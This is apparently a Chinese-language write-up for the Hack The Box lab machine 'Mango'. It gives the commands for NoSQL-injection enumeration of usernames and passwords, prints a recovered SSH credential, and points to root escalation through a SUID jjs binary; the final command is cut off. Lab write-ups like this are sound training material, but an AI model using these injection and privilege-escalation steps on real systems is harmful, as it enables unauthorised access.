基本信息
lab地址:
https://www.hackthebox.eu/home/machines/profile/214
端口扫描

80

绑定hosts访问后是这个:

443
证书信息是staging-order.mango.htb,可以加到hosts里

Nosql injection
80登录界面其实是nosql,可以用这个
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
1 | python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login -m POST |
得到两个用户名:

同样的方法注入出password:
1 | python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login -m POST |
user flag
对应关系是:
1 | mango:h3mXK8RhU~f{]f5H |
admin不能直接SSH登录,可以使用mango:h3mXK8RhU~f{]f5H
可以登录SSH, user.txt在admin用户目录中:

使用admin账号密码切换到admin,得到user.txt:

提权信息
使用LinEnum收集信息,发现可能利用的JJS

root flag
JJS具有SUID,直接使用JJS执行代码,读取root.txt:
https://gtfobins.github.io/gtfobins/jjs/
1 | admin@mango:/home/admin$ jjs |